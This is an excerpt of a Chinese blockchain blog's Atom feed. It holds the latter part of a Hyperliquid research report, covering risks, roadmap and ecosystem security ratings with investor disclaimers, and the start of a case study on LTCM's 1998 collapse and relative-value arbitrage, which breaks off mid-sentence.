4→16个验证者&lt;br/&gt;⚠️ vs 以太坊80万个]    B --&gt; B2[桥接安全风险&lt;br/&gt;🔴 高风险&lt;br/&gt;💰 23亿美元USDC锁定&lt;br/&gt;🔐 3/4多签机制]    B --&gt; B3[主权L1权衡&lt;br/&gt;🟡 中风险&lt;br/&gt;⚡ 无法继承以太坊安全&lt;br/&gt;💎 依赖自身验证者网络]    C --&gt; C1[架构复杂性&lt;br/&gt;🟡 中风险&lt;br/&gt;🔧 定制共识+双区块&lt;br/&gt;🛡️ 新颖架构攻击面大]    C --&gt; C2[闭源代码限制&lt;br/&gt;🟡 中风险&lt;br/&gt;🔒 L1核心代码未开源&lt;br/&gt;👥 限制第三方安全审计]    C --&gt; C3[技术扩展性&lt;br/&gt;🟢 低风险&lt;br/&gt;⚡ 高峰期短暂中断&lt;br/&gt;📈 压力测试待改进]    D --&gt; D1[监管不确定性&lt;br/&gt;🟡 中风险&lt;br/&gt;⚖️ 高杠杆+无KYC&lt;br/&gt;💰 11亿美元高收入目标]    D --&gt; D2[代币解锁压力&lt;br/&gt;🟢 低风险&lt;br/&gt;📅 2025-2028解锁期&lt;br/&gt;📊 33.38%当前流通]    E[风险等级说明] --&gt; E1[🔴 高风险: 需要立即关注&lt;br/&gt;对项目稳定性构成重大威胁]    E --&gt; E2[🟡 中风险: 需要监控&lt;br/&gt;可能影响长期发展]    E --&gt; E3[🟢 低风险: 相对可控&lt;br/&gt;通过改进可有效缓解]    style A fill:#f9f,stroke:#333,stroke-width:2px    style B1 fill:#faa,stroke:#333,stroke-width:1px    style B2 fill:#faa,stroke:#333,stroke-width:1px    style C1 fill:#ffa,stroke:#333,stroke-width:1px    style C2 fill:#ffa,stroke:#333,stroke-width:1px    style D1 fill:#ffa,stroke:#333,stroke-width:1px    style C3 fill:#afa,stroke:#333,stroke-width:1px    style D2 fill:#afa,stroke:#333,stroke-width:1px</code></pre><h4 id="8-2-1-中心化风险">8.2.1 中心化风险</h4><p><strong>验证者集中化</strong>:</p><ul><li>验证者数量相对较少，从最初的<strong>4个验证者</strong>扩展至<strong>16个验证者</strong>（vs 以太坊80万个）</li><li>验证者集中度仍然较高，存在单点故障风险</li><li>去中心化进程正在推进，但依然依赖团队主导的渐进开放</li></ul><p><strong>桥接安全风险</strong>:</p><ul><li>超过<strong>23亿美元USDC</strong>锁定在Arbitrum桥接合约中</li><li>采用<strong>3/4多签机制</strong>，单点故障风险显著</li><li>资金入口过度依赖中心化跨链桥</li></ul><h4 id="8-2-2-技术与安全风险">8.2.2 技术与安全风险</h4><p><strong>架构复杂性风险</strong>:</p><ul><li>包含定制共识、双区块调度器、预编译接口的复杂系统</li><li>新颖架构的攻击面相对较大，安全性需长期验证</li><li>多个创新组件的协同工作增加系统性风险</li></ul><p><strong>闭源代码限制</strong>:</p><ul><li><strong>L1核心代码尚未开源</strong>，限制社区和第三方安全审计</li><li>无法进行公开代码审查，增加潜在未知漏洞风险</li><li>依赖漏洞赏金计划发现问题，但覆盖面有限</li></ul><p><strong>主权L1安全权衡</strong>:</p><ul><li>必须从零开始引导并维护自身的经济安全</li><li>安全性完全依赖自身验证者网络和HYPE市值</li><li>无法像Layer 2那样继承以太坊庞大安全预算</li></ul><h4 id="8-2-3-其他风险因素">8.2.3 其他风险因素</h4><p><strong>监管不确定性</strong>:</p><ul><li>高杠杆永续合约和无KYC运营模式面临监管压力</li><li>年化11亿美元高收入可能成为监管重点目标</li><li>合规要求可能削弱相对中心化交易所的竞争优势</li></ul><p><strong>代币解锁压力</strong>:</p><ul><li>2025-2028年主要解锁可能影响价格动态</li><li>目前仅33.38%代币流通，未来供应压力需关注</li></ul><p><strong>技术扩展性</strong>:</p><ul><li>高峰期曾出现短暂中断，极端条件可扩展性待改进</li><li>复杂架构在压力测试下的表现需持续验证</li></ul><h2 id="9-未来展望">9. 未来展望</h2><p>本章分析Hyperliquid的发展路线图和长期愿景，评估其未来发展潜力和机遇。</p><h3 id="9-1-2025年发展路线图">9.1 2025年发展路线图</h3><p><strong>技术目标</strong>:</p><ul><li>实现每秒<strong>100万笔以上</strong>订单处理能力</li><li>完整ERC-20原生转账支持</li><li>增强开发者工具和SDK</li></ul><p><strong>关键技术创新</strong>:</p><ul><li><strong>HIP-3机制</strong>: 质押100万HYPE可创建永续合约市场，获得最高<strong>50%费用分成</strong></li><li><strong>CoreWriter系统</strong>: HyperCore和HyperEVM无信任双向通信已激活</li><li><strong>预编译合约集成</strong>: 智能合约直接访问订单簿数据，无需外部预言机</li></ul><p><strong>生态发展</strong>:</p><ul><li>无许可流动性提供机制</li><li>扩大全面DeFi生态系统</li><li>目标成为&quot;链上币安&quot;</li></ul><p><strong>战略合作伙伴关系</strong>:</p><ul><li><strong>Phantom钱包</strong>: 集成杠杆交易功能，覆盖<strong>1000万用户</strong></li><li><strong>Paradigm和纳斯达克</strong>: 推动机构采用和合规发展</li><li><strong>Grayscale</strong>: 考虑2025年Q3将HYPE纳入投资组合</li><li><strong>Bybit上市</strong>: 带来显著交易量增长和流动性提升</li></ul><p><strong>代币解锁时间表</strong>:</p><ul><li>2025年11月29日：核心贡献者解锁（216,580枚HYPE）</li><li>主要团队代币归属期延续至2027-2028年</li><li>目前仅33.38%代币在流通中</li></ul><h3 id="9-2-长期愿景">9.2 长期愿景</h3><ul><li>成为&quot;容纳所有金融&quot;的区块链</li><li>统一加密货币碎片化现状</li><li>构建完全链上的开放金融系统</li></ul><h2 id="10-生态发展前景">10. 生态发展前景</h2><h3 id="10-1-生态发展阶段分析">10.1 生态发展阶段分析</h3><h4 id="10-1-1-当前阶段特征">10.1.1 当前阶段特征</h4><ul><li><strong>HyperEVM Alpha阶段</strong>: 核心功能逐步完善，开发者生态快速增长</li><li><strong>TVL持续增长</strong>: 总锁定价值已超15亿美元，显示市场认可度</li><li><strong>项目数量增加</strong>: 50+个项目覆盖DeFi、基础设施、工具等多个领域</li><li><strong>技术不断优化</strong>: 性能提升和新功能持续推出</li></ul><h4 id="10-1-2-发展驱动因素">10.1.2 发展驱动因素</h4><ul><li><strong>技术优势</strong>: HyperCore + HyperEVM的创新架构提供独特价值</li><li><strong>社区活跃</strong>: 全球开发者和用户社区持续壮大</li><li><strong>生态协同</strong>: 项目间相互集成，形成良性生态循环</li><li><strong>资金流入</strong>: 跨链桥接设施完善，外部资金便捷进入</li></ul><h2 id="11-总结">11. 总结</h2><p>Hyperliquid已成为去中心化金融领域的重大技术突破，成功结合了中心化交易所的性能与去中心化协议的透明度。其自定义Layer 1区块链实现了亚秒级最终性和每秒20万笔订单的吞吐量，支持完全链上订单簿，已处理超过<strong>2万亿美元</strong>交易量。</p><h3 id="11-1-核心成就">11.1 核心成就</h3><ul><li><strong>市场地位</strong>: 占据去中心化永续合约市场60-70%份额，成为绝对领导者</li><li><strong>技术突破</strong>: 从零构建的高性能区块链，实现了前所未有的性能指标</li><li><strong>社区价值</strong>: 史上最大加密货币空投（43亿美元），70%代币分配给社区</li><li><strong>经济表现</strong>: 年化收入11亿美元，在2025年7月捕获所有区块链收入的35%</li></ul><h3 id="11-2-竞争优势">11.2 竞争优势</h3><ol><li><strong>技术架构</strong>: 由量化交易专业人士领导，HyperCore+HyperEVM创新架构</li><li><strong>经济模式</strong>: 社区优先、零风投参与、100%费用回馈的独特价值主张</li><li><strong>生态发展</strong>: 170+项目、20亿美元TVL的快速增长生态系统</li><li><strong>用户体验</strong>: 零gas费、一键交易、96%用户盈利的卓越体验</li></ol><h3 id="11-3-风险与挑战">11.3 风险与挑战</h3><p>尽管取得巨大成功，但仍需关注：</p><ul><li>验证者中心化（仅4个）和桥接安全（23亿美元多签）风险</li><li>2024年12月安全争议和潜在监管压力</li><li>代币解锁时间表（2025-2028年）对价格的潜在影响</li></ul><h3 id="11-4-生态发展核心亮点">11.4 生态发展核心亮点</h3><ol><li><strong>生态完整性</strong>: 从DeFi基础设施到AI创新应用的全面覆盖</li><li><strong>技术优势</strong>: HyperCore+HyperEVM的独特架构带来的竞争优势</li><li><strong>发展阶段</strong>: HyperEVM主网上线后的快速成长和创新机会</li><li><strong>长期前景</strong>: 基础设施项目的持续成长和生态协同效应</li></ol><p>随着HyperEVM的持续完善和2025年100万笔/秒处理能力目标，Hyperliquid正朝着&quot;链上币安&quot;和&quot;容纳所有金融的区块链&quot;愿景稳步前进。投资者和用户应在享受创新机遇的同时，保持对风险因素的理性认知。</p><h2 id="12-生态项目安全风险评估">12. 生态项目安全风险评估</h2><p>基于对Hyperliquid生态项目的深度安全调研，我们识别了以下关键风险和安全事件，投资者需要重点关注：</p><pre><code class="highlight mermaid">graph TD    A[生态项目安全风险分级评估] --&gt; B[🔴 高风险项目]    A --&gt; C[🟡 中等风险项目]    A --&gt; D[🟢 相对安全项目]    B --&gt; B1[Abracadabra/MIM&lt;br/&gt;🚨 创始人欺诈风险&lt;br/&gt;💀 Michael Patryn身份&lt;br/&gt;💰 $2.5亿QuadrigaCX案]    B --&gt; B2[dYdX&lt;br/&gt;📉 $9百万损失已实现&lt;br/&gt;🎯 YFI操纵攻击&lt;br/&gt;⚠️ 风险管理缺陷]    B --&gt; B3[GMX&lt;br/&gt;🔓 $40-42百万漏洞&lt;br/&gt;🔄 V1重入攻击&lt;br/&gt;⏰ 已暂停修复中]    C --&gt; C1[Hyperliquid核心&lt;br/&gt;🔒 闭源代码风险&lt;br/&gt;👥 验证者中心化&lt;br/&gt;🌉 桥接多签风险]    C --&gt; C2[生态项目群&lt;br/&gt;📊 审计覆盖不足&lt;br/&gt;🆕 新项目安全性&lt;br/&gt;⚡ 快速发展风险]    D --&gt; D1[Felix Protocol&lt;br/&gt;✅ 核心稳定币协议&lt;br/&gt;🛡️ 相对成熟&lt;br/&gt;📈 持续发展中]    D --&gt; D2[HyperFun&lt;br/&gt;✅ 官方孵化项目&lt;br/&gt;🔧 技术架构稳定&lt;br/&gt;📊 CLOB交易平台]    D --&gt; D3[Liquid Protocol&lt;br/&gt;✅ 首个HYPE LST&lt;br/&gt;🏗️ 基础设施项目&lt;br/&gt;⭐ 生态重要性高]    E[风险防护建议] --&gt; E1[🔍 尽职调查&lt;br/&gt;核查团队背景和历史记录]    E --&gt; E2[💰 资金管理&lt;br/&gt;分散投资降低单点风险]    E --&gt; E3[📈 持续监控&lt;br/&gt;关注安全事件和项目更新]    E --&gt; E4[🛡️ 安全实践&lt;br/&gt;使用硬件钱包和多重签名]    style A fill:#f9f,stroke:#333,stroke-width:2px    style B1 fill:#faa,stroke:#333,stroke-width:2px    style B2 fill:#faa,stroke:#333,stroke-width:2px    style B3 fill:#faa,stroke:#333,stroke-width:2px    style C1 fill:#ffa,stroke:#333,stroke-width:1px    style C2 fill:#ffa,stroke:#333,stroke-width:1px    style D1 fill:#afa,stroke:#333,stroke-width:1px    style D2 fill:#afa,stroke:#333,stroke-width:1px    style D3 fill:#afa,stroke:#333,stroke-width:1px</code></pre><h3 id="🔴-高风险项目-需要严格警惕">🔴 高风险项目 - 需要严格警惕</h3><h4 id="1-Abracadabra-MIM稳定币-重大欺诈风险">1. Abracadabra/MIM稳定币 - 重大欺诈风险</h4><ul><li><strong>关键风险</strong>：创始人Daniele Sestagalli（化名Sifu）的真实身份为已定罪重罪犯Michael Patryn</li><li><strong>历史事件</strong>：作为QuadrigaCX联合创始人，该交易所因$2.5亿美元资金消失导致破产，严重损害投资者利益</li><li><strong>信任危机</strong>：长期使用虚假身份运营DeFi协议，违背了去中心化金融的透明度原则</li><li><strong>投资建议</strong>：基于历史欺诈记录和身份欺瞒行为，强烈建议投资者避免参与任何与Abracadabra生态系统相关的项目</li></ul><h4 id="2-dYdX-重大市场操纵风险已实现">2. dYdX - <strong>重大市场操纵风险已实现</strong></h4><ul><li><strong>$9百万损失</strong>（2023年11月）：V3保险基金遭受重创</li><li><strong>攻击手法</strong>: 单一恶意行为者将YFI未平仓合约从$0.8M操纵至$67M</li><li><strong>市场影响</strong>: YFI代币暴跌40%，总计$50M未平仓合约被清算</li><li><strong>系统缺陷</strong>: 风险管理系统存在重大设计漏洞</li><li><strong>⚠️ 建议</strong>: 对dYdX平台的<strong>市场操纵防护能力</strong>需要持续监控</li></ul><h4 id="3-GMX-重大技术漏洞已确认">3. GMX - <strong>重大技术漏洞已确认</strong></h4><ul><li><strong>$40-42百万漏洞</strong>（2025年7月）：V1版本存在重入攻击漏洞</li><li><strong>技术风险</strong>: AUM计算可被操纵，GLP价值可被人为抬高</li><li><strong>积极进展</strong>: 白帽黑客发现并返还资金，获得10%奖励</li><li><strong>当前状态</strong>: V1已暂停，建议<strong>迁移至V2版本</strong></li><li><strong>⚠️ 建议</strong>: 避免使用旧版本协议，关注oracle操纵风险</li></ul><h3 id="🟡-中等风险项目-需要审慎评估">🟡 中等风险项目 - 需要审慎评估</h3><h4 id="1-Hyperlend-审计发现关键漏洞">1. Hyperlend - <strong>审计发现关键漏洞</strong></h4><ul><li><strong>严重漏洞</strong>: 安全审计中发现多个关键安全漏洞</li><li><strong>风险类型</strong>: 作为最大借贷协议，系统性风险较高</li><li><strong>⚠️ 建议</strong>: 等待漏洞修复确认后再参与</li></ul><h4 id="2-GLIQUID-Algebra引擎V4-AMM技术风险">2. GLIQUID/Algebra引擎V4 - <strong>AMM技术风险</strong></h4><ul><li><strong>技术复杂性</strong>: V4版本AMM算法复杂度提升</li><li><strong>潜在风险</strong>: 新技术架构可能存在未知漏洞</li><li><strong>⚠️ 建议</strong>: 建议等待更多实战验证</li></ul><h4 id="3-Brahma-Fi-已修复的安全问题">3. Brahma Fi - <strong>已修复的安全问题</strong></h4><ul><li><strong>发现问题</strong>: 4个安全漏洞（1个中等级别，3个低级别）</li><li><strong>问题类型</strong>: API访问控制不当、ENS集成失败等</li><li><strong>积极进展</strong>: <strong>所有漏洞已成功修复</strong></li><li><strong>⚠️ 建议</strong>: 风险已得到控制，可谨慎参与</li></ul><h3 id="🟢-相对安全项目-可以考虑参与">🟢 相对安全项目 - 可以考虑参与</h3><h4 id="1-Across-Protocol-优秀安全记录">1. Across Protocol - <strong>优秀安全记录</strong></h4><ul><li><strong>安全表现</strong>: 跨链协议中安全记录<strong>最佳之一</strong></li><li><strong>技术优势</strong>: 成熟的跨链桥接技术</li><li><strong>⚠️ 建议</strong>: 相对安全，但仍需关注跨链桥一般性风险</li></ul><h4 id="2-Felix-Protocol-基于成熟技术">2. Felix Protocol - <strong>基于成熟技术</strong></h4><ul><li><strong>技术基础</strong>: 基于Liquity V2协议</li><li><strong>风险评估</strong>: 继承成熟CDP技术，风险相对可控</li><li><strong>⚠️ 建议</strong>: 关注Liquity V2的整体技术风险</li></ul><h4 id="3-Goldsky-数据基础设施">3. Goldsky - <strong>数据基础设施</strong></h4><ul><li><strong>项目性质</strong>: 数据索引基础设施，非直接金融协议</li><li><strong>风险类型</strong>: 主要为服务可用性风险，资金安全风险较低</li><li><strong>⚠️ 建议</strong>: 基础设施项目，风险相对较低</li></ul><h3 id="📊-风险统计总览">📊 风险统计总览</h3><p>通过本次全面安全调研，我们发现：</p><ul><li><strong>高风险项目</strong>: 3个（Abracadabra、dYdX、GMX V1）</li><li><strong>中等风险项目</strong>: 3个（Hyperlend、GLIQUID、Brahma Fi）</li><li><strong>相对安全项目</strong>: 3个（Across、Felix、Goldsky）</li><li><strong>总损失金额</strong>: 已知安全事件累计损失超过**$90百万**</li></ul><h3 id="🛡️-安全投资建议">🛡️ 安全投资建议</h3><h4 id="立即行动建议：">立即行动建议：</h4><ol><li><strong>避免Abracadabra生态系统</strong>任何项目</li><li><strong>迁移出GMX V1版本</strong>，转向V2或其他平台</li><li><strong>监控dYdX系统改进情况</strong>，关注风险管理升级</li></ol><h4 id="长期风险管理：">长期风险管理：</h4><ol><li><strong>分散投资风险</strong>，避免单一生态过度集中</li><li><strong>关注项目安全审计报告</strong>更新情况</li><li><strong>建立风险预警机制</strong>，及时关注安全事件</li><li><strong>保持资金流动性</strong>，避免长期锁仓高风险项目</li></ol><h4 id="技术风险提醒：">技术风险提醒：</h4><ul><li><strong>跨链桥风险</strong>：所有跨链项目都存在固有技术风险</li><li><strong>Oracle操纵风险</strong>：DEX和借贷协议需要特别关注价格操纵</li><li><strong>治理风险</strong>：关注项目治理透明度和去中心化程度</li><li><strong>智能合约风险</strong>：新技术和复杂协议存在更高漏洞风险</li></ul><p><strong>总体建议</strong>：Hyperliquid生态系统正在快速发展，但安全风险不容忽视。投资者应该采用<strong>谨慎而积极</strong>的态度，在享受创新红利的同时，严格控制风险敞口，建立完善的风险管理体系。</p><h2 id="结语">结语</h2><p>本报告通过系统性的研究方法，对Hyperliquid区块链平台进行了全方位的深度分析。作为去中心化金融领域的技术创新代表，Hyperliquid在高性能Layer 1架构、创新的HyperEVM设计和卓越的市场表现方面确立了领先地位。然而，投资者在评估其投资价值时，应充分考虑中心化风险、监管不确定性以及生态项目的安全隐患。</p><p>未来研究方向建议：</p><ol><li><strong>技术发展跟踪</strong>：持续监控HyperEVM功能完善和性能提升进展</li><li><strong>监管环境变化</strong>：关注全球监管政策对永续合约平台的影响</li><li><strong>竞争格局演变</strong>：评估新兴竞争对手和技术突破的影响</li><li><strong>生态安全监控</strong>：建立生态项目安全风险的动态评估机制</li></ol><p>本报告为投资者提供了基于客观数据的分析框架，但最终投资决策应结合个人风险偏好和投资目标进行综合考量。</p><hr><h2 id="免责声明">免责声明</h2><p>本报告仅供信息参考，不构成投资建议。加密货币投资具有高风险性，投资者应充分了解相关风险并谨慎决策。报告作者不对基于本报告内容做出的任何投资决策承担责任。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/defi/hyperliquid/</id>
    <link href="https://www.blog-blockchain.xyz/defi/hyperliquid/"/>
    <published>2025-08-08T00:49:22.000Z</published>
    <summary>深度调研 Hyperliquid 区块链平台，全面分析其技术架构、HyperEVM 设计、代币经济学、生态系统发展、市场竞争优势及安全风险评估，为投资者和开发者提供全面的参考指南。</summary>
    <title>Hyperliquid 深度调研报告</title>
    <updated>2026-02-19T16:18:18.080Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="finance" scheme="https://www.blog-blockchain.xyz/categories/finance/"/>
    <category term="risk management" scheme="https://www.blog-blockchain.xyz/categories/finance/risk-management/"/>
    <category term="case study" scheme="https://www.blog-blockchain.xyz/categories/finance/risk-management/case-study/"/>
    <category term="financial history" scheme="https://www.blog-blockchain.xyz/categories/finance/risk-management/case-study/financial-history/"/>
    <category term="LTCM" scheme="https://www.blog-blockchain.xyz/tags/LTCM/"/>
    <category term="leverage trading" scheme="https://www.blog-blockchain.xyz/tags/leverage-trading/"/>
    <category term="financial crisis" scheme="https://www.blog-blockchain.xyz/tags/financial-crisis/"/>
    <category term="hedge fund" scheme="https://www.blog-blockchain.xyz/tags/hedge-fund/"/>
    <category term="quantitative finance" scheme="https://www.blog-blockchain.xyz/tags/quantitative-finance/"/>
    <category term="financial history" scheme="https://www.blog-blockchain.xyz/tags/financial-history/"/>
    <content>
      <![CDATA[<h2 id="1-华尔街史上最昂贵的教训">1. 华尔街史上最昂贵的教训</h2><h3 id="1-1-天才们的豪赌：当精英遇上贪婪">1.1 天才们的豪赌：当精英遇上贪婪</h3><p>想象一下，如果有一家投资公司聚集了：</p><ul><li>两位刚刚获得诺贝尔经济学奖的天才</li><li>前美联储副主席</li><li>华尔街最顶尖的债券交易员</li><li>一群拥有博士学位的数学天才</li></ul><p>这样的&quot;梦幻团队&quot;会创造奇迹，还是制造灾难？</p><p>1998年的长期资本管理公司(LTCM)用血淋淋的事实告诉我们：即使是最聪明的头脑，也可能犯下最愚蠢的错误。这个曾经年化收益率超过40%的明星基金，在短短4个月内就损失了46亿美元，差点拖垮整个美国金融体系。</p><p>这不是一个遥远的历史故事，而是每一个使用杠杆交易的投资者都必须了解的生存指南。</p><h3 id="1-2-四个致命错误：LTCM失败的根本原因">1.2 四个致命错误：LTCM失败的根本原因</h3><p><strong>错误1：盲信数学模型的万能性</strong></p><ul><li><strong>表现</strong>：认为复杂的数学公式能够预测市场的所有变化</li><li><strong>现实打脸</strong>：1998年俄罗斯债券危机这种&quot;百年一遇&quot;的黑天鹅事件直接击碎了所有数学模型</li><li><strong>教训</strong>：模型只能预测&quot;正常&quot;情况，但市场往往在&quot;不正常&quot;时要人命</li></ul><p><strong>错误2：杠杆成瘾，越玩越大</strong></p><ul><li><strong>表现</strong>：从最初的28倍杠杆一路飙升到200倍杠杆</li><li><strong>危险性</strong>：杠杆就像毒品，给你快感的同时也在慢慢杀死你</li><li><strong>现实对比</strong>：就像借200万去赌1万块的收益，一旦出错就是灭顶之灾</li></ul><p><strong>错误3：钱的期限不匹配</strong></p><ul><li><strong>表现</strong>：用短期借款投资长期资产，就像用信用卡的钱去买房</li><li><strong>后果</strong>：当短期资金需要偿还时，长期资产却卖不出去</li><li><strong>类比</strong>：就像你把所有钱都买了房，突然需要急用钱却发现房子卖不掉</li></ul><p><strong>错误4：&quot;太大而不能倒&quot;的幻觉</strong></p><ul><li><strong>表现</strong>：认为自己与华尔街各大银行关系密切，不可能真的破产</li><li><strong>现实</strong>：当危机来临时，昔日的朋友瞬间变成催债的恶魔</li><li><strong>教训</strong>：在金融市场，没有永远的朋友，只有永远的利益</li></ul><h2 id="2-系统性风险与连锁反应：理论框架与实证分析">2. 系统性风险与连锁反应：理论框架与实证分析</h2><p><strong>章节核心观点：</strong> 系统性风险和连锁反应是统一账户保证金交易面临的最具破坏性威胁，其影响范围往往超越单一机构或市场。本章通过LTCM(1998年)案例的深度剖析，揭示了杠杆交易系统性风险的四个核心特征：(1) “太大而不能倒&quot;的机构互联性风险；(2) 信息不对称导致的道德风险集中爆发；(3) 监管套利策略的系统性失效；(4) 技术创新与风险管理滞后的结构性矛盾。研究发现，高杠杆机构的倒闭往往遵循&quot;冰山理论”——表面损失只是全部风险敞口的冰山一角，真正的系统性影响在危机初期很难被完全识别和评估。</p><p>历史经验表明，每一次重大系统性风险事件都会重新界定风险管理的理论边界和实践标准。LTCM事件推动了现代风险管理理论体系的建立，这一标志性案例揭示了一个核心规律：无论技术多么先进、数学模型多么精密，都无法根本消除人性弱点和制度设计缺陷所带来的系统性风险。</p><h3 id="2-1-长期资本管理公司-LTCM-案例研究：金融史上最经典的杠杆风险教训">2.1 长期资本管理公司(LTCM)案例研究：金融史上最经典的杠杆风险教训</h3><p>LTCM的崩塌被誉为现代金融史上最重要的风险管理案例之一，其教训至今仍深刻影响着全球金融监管和风险管理实践。这个案例对理解统一账户保证金交易的风险具有极其重要的参考价值。</p><h4 id="2-1-1-公司背景与-梦幻团队-构成">2.1.1 公司背景与&quot;梦幻团队&quot;构成</h4><p>LTCM成立于1994年，由前所罗门兄弟公司副董事长约翰·梅利韦瑟(John Meriwether)创立。公司汇聚了金融界的超级明星团队：</p><ul><li><strong>诺贝尔经济学奖得主</strong>：迈伦·斯科尔斯(Myron Scholes)和罗伯特·默顿(Robert Merton)</li><li><strong>前美联储副主席</strong>：大卫·穆林斯(David Mullins)</li><li><strong>华尔街顶级交易员</strong>：来自所罗门兄弟的精英团队</li><li><strong>数学天才</strong>：众多博士学位的量化分析师</li></ul><p>这个&quot;梦幻团队&quot;的组合让LTCM在成立之初就筹集到了12.5亿美元的资金，创下当时对冲基金的记录。</p><p><strong>创始人约翰·梅利韦瑟的传奇背景：</strong></p><p>梅利韦瑟1947年生于芝加哥一个普通的爱尔兰家庭，家族有着浓厚的赌博传统。他从小就跟祖母玩21点，参与赌马和各类体育赛事博彩，这种早期经历培养了他对概率和风险的敏锐直觉。在所罗门兄弟公司期间，梅利韦瑟因其出色的债券套利能力而闻名华尔街，被誉为&quot;债券之王&quot;。他的团队在1980年代为所罗门兄弟创造了数十亿美元的利润，奠定了其在华尔街的传奇地位。</p><p><strong>核心团队的星光背景：</strong></p><p><strong>迈伦·斯科尔斯(Myron Scholes)</strong>：</p><ul><li>Black-Scholes期权定价模型的共同创立者</li><li>1997年诺贝尔经济学奖得主</li><li>曾任芝加哥大学和斯坦福大学金融学教授</li><li>在LTCM中负责期权和衍生品策略设计</li></ul><p><strong>罗伯特·默顿(Robert Merton)</strong>：</p><ul><li>连续时间金融学理论的奠基人</li><li>1997年诺贝尔经济学奖得主</li><li>哈佛商学院银行和金融学教授</li><li>专精于动态对冲和风险管理理论</li></ul><p><strong>大卫·穆林斯(David Mullins)</strong>：</p><ul><li>哈佛商学院教授，资本资产定价模型专家</li><li>前美联储副主席（1990-1994）</li><li>为了加入LTCM而辞去美联储职务</li><li>在LTCM中主管政府债券套利业务</li></ul><p><strong>80名投资者的豪华阵容：</strong><br>LTCM的初始投资者名单读起来就像华尔街名人录：</p><ul><li><strong>贝尔斯登总裁</strong>詹姆斯·凯恩(James Cayne)及其副手</li><li><strong>美林证券CEO</strong>大卫·科曼斯基(David Komansky)</li><li><strong>瑞银集团</strong>高管团队</li><li><strong>多家养老基金</strong>和<strong>主权财富基金</strong></li><li><strong>数十位华尔街高管</strong>将个人财富投入LTCM</li></ul><p>这些投资者每人最低投资1000万美元，许多人的投资额远超这个门槛，充分体现了对&quot;梦幻团队&quot;的信心。</p><h4 id="2-1-2-核心交易策略：相对价值套利理论与实践">2.1.2 核心交易策略：相对价值套利理论与实践</h4><p>LTCM的主要策略是寻找相关资产间的价格偏差，进行&quot;市场中性&quot;套利。相对价值套利是现代量化交易的重要基础，其核心在于通过识别相关资产间的价格偏差，构建多空对冲头寸以获取低风险收益。LTCM将这一策略发挥到极致，通过高杠杆和复杂的数学模型，试图在看似无风险的套利中获取稳定收益。然而，这一策略的成功高度依赖于市场正常状态下的相关性假设，在极端市场条件下可能面临系统性失效。</p><p><strong>深度解析：相对价值套利的三大核心要素</strong></p><p><strong>第一：什么是相关资产？如何寻找？</strong></p><p><strong>相关资产的定义：</strong><br>相关资产是指基于经济逻辑理论上应表现出相似价格走势或维持稳定价差关系的金融工具。此类资产具备共同的基本面驱动因素、相似的风险特征或制度性关联，价格变动呈现高度相关性。</p><p><strong>寻找相关资产的五大方法：</strong></p><p><strong>1. 基本面相关性分析：</strong></p><ul><li><strong>信用质量相似</strong>：AAA级公司债vs AAA级政府债</li><li><strong>行业属性相同</strong>：银行股vs银行ETF</li><li><strong>地理位置相近</strong>：香港H股vs上海A股同一公司</li><li><strong>经济周期敏感度</strong>：铜价vs澳元（都反映全球经济增长）</li></ul><p><strong>2. 期限结构套利：</strong></p><ul><li><strong>同一发行人不同期限</strong>：10年期国债vs 30年期国债</li><li><strong>到期日接近的债券</strong>：剩余期限29年vs剩余期限30年的国债</li><li><strong>利率曲线形状</strong>：短期利率vs长期利率的历史关系</li></ul><p><strong>3. 流动性差异套利：</strong></p><ul><li><strong>在途债券vs脱途债券</strong>：最新发行vs较早发行的同类债券</li><li><strong>交易所差异</strong>：同一股票在不同交易所的价格</li><li><strong>产品结构差异</strong>：ETF vs 其追踪的指数成分股</li></ul><p><strong>4. 制度性联系：</strong></p><ul><li><strong>货币联盟</strong>：欧元区各国国债收益率</li><li><strong>汇率机制</strong>：港币vs美元（联系汇率制度）</li><li><strong>政策关联</strong>：央行利率vs银行间拆借利率</li></ul><p><strong>5. 技术性套利：</strong></p><ul><li><strong>期现套利</strong>：期货合约vs现货价格</li><li><strong>跨市场套利</strong>：同一资产在不同市场的价格</li><li><strong>转换套利</strong>：可转债vs正股+期权的理论价值</li></ul><p><strong>LTCM的具体寻找案例：</strong></p><p>LTCM运用了系统性的相关资产识别体系，如图2-1所示，该体系包含四个核心分析维度，帮助基金识别市场中的套利机会。</p><p><strong>图2-1: LTCM相关资产识别体系图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;LTCM相关资产识别体系&quot;        A[基本面分析] --&gt; A1[德国10年期国债 ↔ 意大利10年期国债]        A --&gt; A2[美国30年期国债 ↔ 美国29年期国债]        B[流动性分析] --&gt; B1[在途国债 ↔ 脱途国债]        B --&gt; B2[高流动性股票 ↔ 低流动性股票]        C[制度性分析] --&gt; C1[俄国GKO ↔ 美国国债]        C --&gt; C2[LIBOR ↔ 国债收益率]        D[技术性分析] --&gt; D1[股票期权隐含波动率 ↔ 历史波动率]        D --&gt; D2[期货价格 ↔ 现货价格]    end</code></pre><p><em>数据来源：《When Genius Failed》，LTCM内部交易策略分析</em></p><p><strong>第二：如何利用价格偏差获利？</strong></p><p><strong>价格偏差的识别与量化：</strong></p><p><strong>1. 历史统计分析法：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">正常价差范围 = 历史平均价差 ± 2个标准差</span><br><span class="line">套利机会 = 当前价差 超出 正常范围时</span><br></pre></td></tr></table></figure><p><strong>2. 理论价值模型：</strong></p><ul><li><strong>期权定价模型</strong>：Black-Scholes公式计算期权理论价值</li><li><strong>债券定价模型</strong>：现金流折现模型计算债券理论价格</li><li><strong>无套利定价</strong>：期货理论价格 = 现货价格 × (1 + 无风险利率)^时间</li></ul><p><strong>3. 回归分析法：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">资产A价格 = α + β × 资产B价格 + 误差项</span><br><span class="line">当误差项显著偏离零时，存在套利机会</span><br></pre></td></tr></table></figure><p><strong>具体获利机制详解：</strong></p><p><strong>案例一：德意利差套利</strong></p><ul><li><strong>正常情况</strong>：德国10年期国债收益率 = 4.0%，意大利10年期 = 